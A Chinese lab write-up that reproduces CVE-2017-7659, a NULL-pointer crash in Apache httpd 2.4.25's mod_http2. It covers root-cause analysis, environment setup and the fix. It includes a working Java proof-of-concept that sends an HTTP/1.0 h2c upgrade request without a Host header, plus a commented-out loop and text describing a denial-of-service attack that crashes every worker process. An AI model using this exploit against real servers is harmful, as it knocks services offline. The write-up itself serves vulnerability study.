一、实验原理介绍
apache在其网站发布的安全公告,针对CVE-2017-7659漏洞的介绍是这样的:
A maliciously constructed HTTP/2 request could cause mod_http2 to dereference a NULL pointer and crashthe server process.
可以看到这是apache WEB服务器(httpd)中的一个HTTP 2.0协议处理的漏洞。
有漏洞的服务器源码下载链接:https://archive.apache.org/di...
通过补丁的修改进行漏洞成因的逆向分析。首先查看漏洞函数h2_stream_set_request_rec,发现是调用h2_request_rcreat创建http 2.0请求的数据结构req,h2_request_rcreat执行失败时req为空,此时在日志函数ap_log_rerror中直接解引用req导致进程崩溃:
继续查看函数h2_request_rcreate,看到首先会把req置为0,然后判断4个变量r->method,scheme,r->hostname,path,任何一个为空则返回失败,而此时req还是0,就会导致进程崩溃:
那么这4个变量是哪一个为空导致的漏洞呢?scheme是先判断了是否为空再赋值的,首先排除;path是从r->parsed_uri中解析出来,解析函数apr_uri_unparse在其它地方有多次使用,直觉path也不会为空;r->method保存请求的方法字段,在HTTP请求中必须存在,因此也不应该为空;因此只有r->hostname,保存请求的主机名,也就是域名,可能为空。
我们知道,HTTP请求中,有2个地方可以表示主机名:
1) 请求的路径以完整URL方式表示,URL中包含主机名,例如GET http://www.example.com/ HTTP/1.1,这里主机名就是 www.example.com。服务器中是在ap_parse_uri函数中解析这种主机名的
2) 在Host请求头中包含主机名,例如:
GET / HTTP/1.1
Host: www.example.com
服务器中是在fix_hostname函数中解析这种主机名的分别审计ap_parse_uri和fix_hostname函数,发现如果请求中没有Host头,那么r->hostname确实是空。但是服务器也考虑到了这种情况,在ap_read_request函数中做了判断:
这里的判断逻辑,如果满足下面2个条件之一
1) r->hostname为空,且请求的HTTP版本大于等于1.1
2) 没有Host头,且请求的HTTP版本等于1.1
就会立刻回复400状态码的错误页面,并不会触发后面的漏洞。在注释里也说明了,HTTP/1.1的RFC2616的14.23节中明确指明,HTTP/1.1请求必须包含Host头。
但是,HTTP还有1.0版本,且HTTP/1.0和HTTP/1.1的处理流程一样,虽然HTTP/1.0确实没有规定请求必须包含Host头。因此HTTP/1.0请求是可以没有Host头的,程序会一直按照流程执行,最终执行到h2_stream_set_request_rec函数,此时r->hostname为空,从而触发漏洞。
综合上面的分析,该漏洞利用成功需要如下条件:
1) 服务器支持HTTP/2
2) 请求是HTTP/1.0版本
3) 请求中没有Host头
二、环境配置介绍
1)、实验的环境CentOS 7,2.4.25版本的Apache Httpd服务器
2)、Apache的安装前的准备工作
安装Sqllite
# wget http://www.sqlite.org/2014/sqlite-autoconf-3080704.tar.gz
# tar zxf sqlite-autoconf-3080704.tar.gz
# cd sqlite-autoconf-3080704
# ./configure --prefix=/usr/local/sqlite-3.8.7.4
# make && make install
安装apr
# wget http://archive.apache.org/dist/apr/apr-1.5.2.tar.gz
# tar zxf apr-1.5.2.tar.gz
# cd apr-1.5.2
# ./configure --prefix=/usr/local/apr-1.5.2
# make && make install
安装apr-util
# wget http://archive.apache.org/dist/apr/apr-util-1.5.4.tar.gz
# tar zxf apr-util-1.5.4.tar.gz
# cd apr-util-1.5.4
# ./configure --prefix=/usr/local/apr-util-1.5.4 --with-apr=/usr/local/apr-1.5.2
# make && make install
安装nghttp2
# wget https://fossies.org/linux/www/nghttp2-1.38.0.tar.gz
# tar zxf nghttp2-1.38.0.tar.gz
# cd nghttp2-1.38.0
# ./configure --prefix=/usr/local/nghttp2-1.38.0
# make && make install
# 最后安装2.4.25版本的Apache服务器
# cd /usr/local/src
# wget http://archive.apache.org/dist/httpd/httpd-2.4.25.tar.gz
# cd httpd-2.4.25
# ./configure --prefix=/usr/local/apache-2.4.25 --with-apr=/usr/local/apr-1.5.2 --with-apr=/usr/local/apr-1.5.2 --with-nghttp2=/usr/local/nghttp2-1.38.0 --enable-http2 --enable-dav --enable-so --enable-maintainer-mod --enable-rewrite --with-sqlite=/usr/local/sqlite-3.8.7.4
# make && make install
# cp /usr/local/apache-2.4.25/conf/httpd.conf /usr/local/apache-2.4.25/conf/httpd.conf.default
# ln -s /usr/local/apache-2.4.25/ /usr/local/apache
3)、修改配置文件httpd.conf,并测试Apache是否能运行
1、设置服务器监听的端口
2、Apache服务器的IP和端口
3、添加支持Http2.0的module
如果提示说没有mod_http2.so,可以使用下面的命令编译生成
/opt/httpd/httpd/bin/apxs -c mod_http2.c
/opt/httpd/httpd/bin/apxs -i -a -n http2 mod_http2.la
注:在下载的源码modules文件夹那里执行
4、设置日志级别为debug,否则后续漏洞复现不了,因为如果不是debug级别,不会执行漏洞函数
5、启动服务器
至此,实验的环境已经搭建好。
三、实验过程详细介绍
1. 首先起一个单一进程的apache httpd服务,方便验证进程崩溃后的效果
访问浏览器: 正常访问
2、编写Java程序,发送恶意请求
尝试发送漏洞请求过去,触发服务器的漏洞函数
public class HttpTest extends Thread{
public void createSocket() {
}
public void communcate() throws IOException {
// 注意这里必须制定请求方式 地址 注意空格
Socket socket = new Socket("192.168.179.112", 8888);
OutputStream os = socket.getOutputStream();
InputStream is = socket.getInputStream();
StringBuffer sb = new StringBuffer("GET / HTTP/1.0\r\n");
// 以下为请求头
sb.append("User-Agent: curl/7.50.1\r\n");
//sb.append("Host: 39.108.122.247\r\n");
sb.append("Accept: */*\r\n");
sb.append("Connection: Upgrade, HTTP2-Settings\r\n");
sb.append("Upgrade: h2c\r\n");
sb.append("HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\n");
//sb.append("Content-Length: 2\r\n");
// 注意这里要换行结束请求头
sb.append("\r\n");
System.out.println(sb.toString());
try {
os.write(sb.toString().getBytes());
ByteArrayOutputStream baos = new ByteArrayOutputStream();
/*byte[] bytes = new byte[1024];
int len = -1;
int i =0 ;
while ((len = is.read(bytes)) != -1) {
baos.write(bytes, 0, len);
}
System.out.println(new String(baos.toByteArray()));
*/
socket.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
@Override
public void run() {
createSocket();
// Dos攻击
/*while (true) {
try {
communcate();
} catch (IOException e) {
e.printStackTrace();
}
}*/
try {
communcate();
} catch (IOException e) {
e.printStackTrace();
}
}
/*
GET / HTTP/1.1
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: <base64url encoding of HTTP/2 SETTINGS payload>
*/
public static void main(String[] args) {
// for(int i =0; i<100 ;++i) {
HttpTest client = new HttpTest();
client.start();
// }
}
}
漏洞成功复现:
此时浏览器也访问不了
3、如果是多进程的apache httpd服务
当worker进程崩溃时,apache会自动启动新的worker进程。那么在真实的网络环境中,黑客会如何利用此漏洞对服务器进行攻击呢?
修改上面的Java代码,发送Dos攻击
apache 服务器全部worker进程都崩溃了!
四、实验总结
这个实验的难点是分析漏洞的发生原因、实验环境的配置。首先,在linux上安装Apache Http 2.4.25这个版本的服务器,参考网上的一些教程安装,发现过程是不全的,只能靠自己去根据控制台打印的错误日志去找原因,为了让Apache服务器支持Http2.0,mod_http2.so这个module一直报错,后来安装配置了nghttp2重新编译才能成功开启服务器。安装好实验环境后,写了一段Java程序去验证,发送Http1.0的请求并且不带Host消息头,一开始创建了1000个线程发送1000个“恶意请求”,发现Apache服务器并没有宕机,百思不得其解,调了一个下午都没有成功,在队友的电脑也是这样的问题。之后不断地查阅资料,并且尝试去看源码,发现需要在配置文件里面设置日志级别为debug才会触发漏洞,默认是info级别,这点在官网上并没有描述,这个服务器如果是没有设置为debug级别是不会执行漏洞函数的,解决了这个大坑之后,服务器终于崩溃(出现了Segmentation fault这个段异常,即内部有空指针异常),但是Apache有保护机制,当worker进程崩溃时,apache会自动启动新的worker进程。我们编写了的程序,同时发起多个畸形请求,以不断触发后台worker崩溃,并让apache服务器不断陷入重新分配worker的处理之中。基于漏洞发生的场景可以得出,解决这个漏洞的关键是就是增加了对h2_request_rcreate函数返回值的判断即可。
参考链接:https://www.cnblogs.com/brish...
https://www.cnblogs.com/quche...
https://www.freebuf.com/vuls/...
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。